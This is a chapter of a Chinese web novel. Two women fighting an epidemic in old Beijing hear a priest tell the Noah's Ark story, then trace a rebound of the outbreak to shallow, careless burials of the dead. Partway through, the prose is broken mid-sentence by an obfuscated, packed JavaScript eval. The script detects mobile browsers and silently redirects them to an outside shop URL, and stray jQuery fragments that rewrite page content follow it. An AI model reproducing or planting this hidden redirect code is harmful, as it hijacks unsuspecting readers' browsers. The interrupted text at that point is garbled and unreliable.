倏忽数日过去,检疫所内的宋槐安指尖摩挲着案头刚汇总的昨日京中新增疫患统计册页,眉宇间渐渐舒展。
京中弥漫多日的疫气,总算有了收敛之象,每日新增疫症的数目,正循着稳步回落的轨迹递减。
与她这份舒展不同,赵清如望着同一份统计图表,却忧色难掩,沉声道:“槐安,你不觉得这数据里藏着蹊跷?虽说整体数据瞧着稳中向好,但你看这条波动曲线——昨日的新增疫患,虽较之大前日有所回落,却比前日高出少许。”
宋槐安却不以为然:“暂时的反复不是很正常?人的成绩都时好时坏,何况病情呢?”
赵清如摇摇头:“说不上,但总觉得我们是不是疏忽了什么?是不是还有哪一步没做到位?可能是我杞人忧天了。”
宋槐安抬手摘下棉质口罩,边缘已在眼下勒出两道淡红印子,她往后靠在椅背上伸了个懒腰,语气带着几分笃定的松弛:“放心吧,肯定是你多虑了。我们已经采用了当今时代最科学的防疫措施了,如果这都不能转危为安,那人类也该灭绝了。”
赵清如见状立马起身,像总觉得孩子会冷的妈妈一样,不由分说地把那副刚摘下来的口罩又绑了回去,根本不听宋槐安口中辩解些什么:“我就不能喘口气吗?你瞧给我脸上捂的,都长疹子了!真不会出事的,如姐,你要相信我们有主角光环,我们要是挂了,故事就没法继续了。”
走出检疫所,来到相隔不远的消毒所和隔离所,宋槐安望着来来往往的工作人员和进进出出的患者彼此有序地配合着。
她望着这方被乱世裹挟、却仍维持着秩序的小小天地,心头忽然涌上一种奇异的感触。这里竟像一艘微缩的诺亚方舟,在疫病与动荡的洪流中,为这些脆弱的生命撑起了片刻的庇护。
她笑着和赵清如说起这种幻觉时,赵清如语气里满是好奇:“诺亚?方舟?那是什么?”
她话音刚落,身后便传来一声温和的轻笑。二人回头,只见水神父身着一袭浆洗得整洁的黑色教袍,胸前挂着一枚小小的十字架,不知何时已悄无声息地站在不远处。
他手里捧着一本烫金封面的《圣经》,眼神悲悯而平和,望着她们缓缓开口:“宋小姐说的,是《圣经?创世纪》中的故事。”
“方舟是神赐予世人的救赎与避难所,承载着祂的恩典与怜悯。”神父的目光掠过院中往来的身影,仿佛透过这弥漫的消毒水气味,望见了那艘在远古洪水中漂泊的巨轮,“创世之初,上帝造人之后,见人类的心思意念尽是恶,遍地充满□□,便后悔造人在地上,决意用洪水毁灭天下所有有血肉的生灵。”
“唯有诺亚,在那罪恶的世代中,是个义人,在神面前蒙恩。”他缓缓叙述着,语气庄重而平缓,“上帝对诺亚说:‘你要用歌斐木造一只方舟,再过七天,我要降雨在地上四十昼夜,把我所造的各种活物,都从地上除灭。’诺亚顺从了神的命令,耗费多年光阴,终将方舟建成。”
“七日后洪水果然如期而至,凡在地上有血肉的动物,无一存活。唯有诺亚与他的家人,以及他按神的指示带入方舟的各类飞鸟走兽,得以在这场浩劫中幸存。”
赵清如还是头一次听闻这个故事,许是与宋槐安相处久了,她也染上了说话不过脑的坏习惯。
她未加思索,脱口而出道:“世上竟有这样的神?说创造便创造,不合心意便尽数毁去——这哪里是什么恩典?倒像是随性而为的暴君。人类纵然渺小,也自有生存的权利,凭什么要由他这般生杀予夺?依我看,这里才不是什么诺亚的方舟。因为我们这里的人能活下去,不是靠虚无缥缈的神的恩典,而是靠全城人民的努力。”
宋槐安被她这番话惊得心头一跳,虽然她也同意她的观点,还是下意识地回头去看水神父。只见神父脸上并未有半分不悦,只是眼神愈发悲悯,轻轻摇了摇头。
宋槐安连忙拉了拉赵清如的衣袖,躬身道:“水神父,你莫见怪。我姐姐素来不信这些的,说话若失了轻重,若是见罪于你,还请你见谅。”
即便隔着口罩,依旧能看到水神父眼角的笑意:“无妨,信仰本是心之所向,不信者何来罪过?”
望着竹架撑起的临时白色纸棚,棚壁上那些图文并茂的防疫宣传画在暮色里仍清晰可辨,水神父眼含赞许,缓缓望向宋槐安:“先前听康小姐提及,这些画皆出自宋小姐妙笔?栩栩如生,又简洁易懂,瞧着便让人心里亮堂。想来街巷间分发的防疫宣传册,亦是小姐所绘?那册子图文更显精巧,瞧着尤为舒心。”
宋槐安闻言浅浅颔首,语气带着几分自谦:“宣传画的主意确是我先提起的,几处疫所壁上所绘的图样,也确实是我胡乱画的,能派上用场便好。只是街巷间分发的宣传册,我可不敢居功,那可是人家赵大画家的大作。”
水神父眼中顿时亮起几分喜色,语气难掩热切,拱手道:“不知宋小姐口中的这位赵先生高姓大名?我素来钟爱中国水墨画,闲暇时也爱涂鸦两笔,聊以自娱。先前见了那宣传册上的画,笔力遒劲,意境清雅,没有半分匠气,灵气十足,实在让我爱不释手。若是宋小姐与赵先生相识,不知能否代为引见一二?我也好向他请教一番,了却心头一桩雅愿。”
“这有何难?”宋槐安爽快应下,眼底却飞快掠过一丝不屑,“等疫情过去,若是他肯赏脸,我便带他去教堂拜会您。说起来,他也算不上什么声名在外的大画家,性子却傲得紧,眼高于顶,寻常人可请不动他。便是这次宣传册上的画,也是我好一番威逼利诱,才勉强说得他肯动笔呢。”
水神父闻言莞尔:“有才者多几分傲气,倒也算是人之常情。”
不料那日赵清如的担心竟然并非全无道理,一晃半月过去,原本稍有平复的疫情竟骤然反弹,瘟气卷土重来,城郊疫所的病患再度激增。医官们束手无策,谁也摸不透这狡猾的疫毒为何会死灰复燃,只急得如热锅上的蚂蚁。
赵清如照旧在各疫所间奔波诊疗,她双手泡在消毒的烈酒里早已红肿脱皮,眼底也凝着挥之不去的青黑,却仍是不敢有半分懈怠。
这日忙完最后一例诊察,她沿着消毒所外撒满石灰的土路缓步前行,眉头紧蹙,反复推敲着防疫各环节的疏漏,从病患隔离、汤药分发到环境消杀,每一步都按章程执行,究竟是哪里出了岔子?
思绪沉沉间,竟不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546599|204174||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
知不觉踱到了隔离所的最深处。
抬尸人裹着浸过烈酒的白布罩衫,从头到脚遮得密不透风,只露出一双疲惫的眼睛。他们正将那些没能熬过这场劫难的尸身小心翼翼地摞上板车,一具叠着一具,薄棺都来不及备,只用草席草草裹着,散发出隐约的腐气。
板车轱辘碾过土路,发出沉闷的吱呀声,沉默地向外运送。
赵清如心头猛地一沉,一个被忽略的环节骤然撞入脑海。这些尸身运出疫所后,是否真的按防疫章程深埋焚烧?
按章程规定,每一批尸体的处置都该有明细记录,由负责的差役每日上报。可这些日子,大家都全身心扑在正面战场上,竟从未有人细查过死者的身后事,而那些负责这一环节的差役,竟也真的从未主动递过一次处置文书。
一个可怕的猜想在她心底蔓延开来:或许疫情反复的症结,恰在这被所有人遗忘的身后事上。
赵清如悄无声息地跟了上去。沿途街巷本就萧条,经此疫劫更显荒芜。两侧店铺门窗紧闭,门板上积着厚厚的灰,偶有几声鸦鸣从颓圮的墙头落下,更添几分死寂。
一路渐行渐远,索性那车行得慢,她早脱了防护的白色罩衫,不近不远地跟着,走得脚都酸麻了。一直到周遭的景色越来越荒凉,风里渐渐混进了隐约的腐腥气,夹着枯草的涩味,她才心慌起来。
不知又走了多久,前方隐约现出一片灰蒙蒙的土坡,板车终于停了下来。赵清如躲在一棵枯树后打量着周遭,陶然亭南下洼子,原来是这儿。
她总算懂了人们常说的“坟多不过陶然亭”,哪里是“坟”?这分明是一片毫无章法的乱葬岗。
土坡上坑坑洼洼,新土旧坟交错堆叠。枯死的树枝桠交错,像鬼爪似的。乌鸦在枝头上聒噪盘旋,不知道是在给谁报丧。
明明是个大晴天,却鬼气森森得让人脊背发凉。
那些差役显然是应付差事,根本没把防疫章程放在眼里。两人懒懒散散地跳下车,抄起铁锹在地上胡乱刨了几个浅坑,坑挖得还没半人深,便不耐烦地将草席裹着的尸身、甚至半露的棺木往坑里一推。
有的尸身没推稳,半边还露在坑外,他们竟也懒得管,随手铲了几把浮土盖上。旋即拍了拍手上的泥,相视一笑,便扬鞭催马,头也不回地疾驰而去,好似多待一刻都沾了晦气。
赵清如看得攥紧了拳头,强压着心头的怒火和寒意靠了过去。眼前的景象,比她想象中还要气人,场面潦草得像一场溃败后的战场。
有的薄棺半埋半露,像是被野兽刨过。有的棺盖松松搭着,一阵稍大些的风卷过,“吱呀”一声便被吹开,露出里面早已腐坏的尸身一角。
有的按章程无需棺木、只需深埋的无主尸体,更是境况凄惨。浅浅的坑根本挡不住风雨,许多尸身大半裸露在外,有的已被啃噬得露出白骨,断裂的骨茬在暖风中泛着森然的光。
腐腥气混杂着泥土的腥气,直冲鼻腔,赵清如胃里一阵翻涌,抱着一旁的枯树根干呕了半天,胃里却什么也吐不出来。
这哪里是防疫?这分明是在给疫毒创造天然的繁殖场。疫情反复的根源,这下总算是找到了。